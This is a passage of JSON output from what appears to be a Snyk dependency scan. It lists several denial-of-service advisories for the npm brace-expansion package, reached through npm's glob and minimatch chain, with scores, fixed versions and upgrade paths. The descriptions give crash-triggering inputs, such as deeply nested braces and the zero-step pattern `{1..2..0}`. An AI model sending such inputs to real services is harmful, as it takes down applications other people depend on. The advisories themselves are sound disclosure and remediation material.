],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmteam@6.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmteam@6.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-profile@10.0.0",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-profile@10.0.0",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-profile@10.0.0",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-profile@10.0.0",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
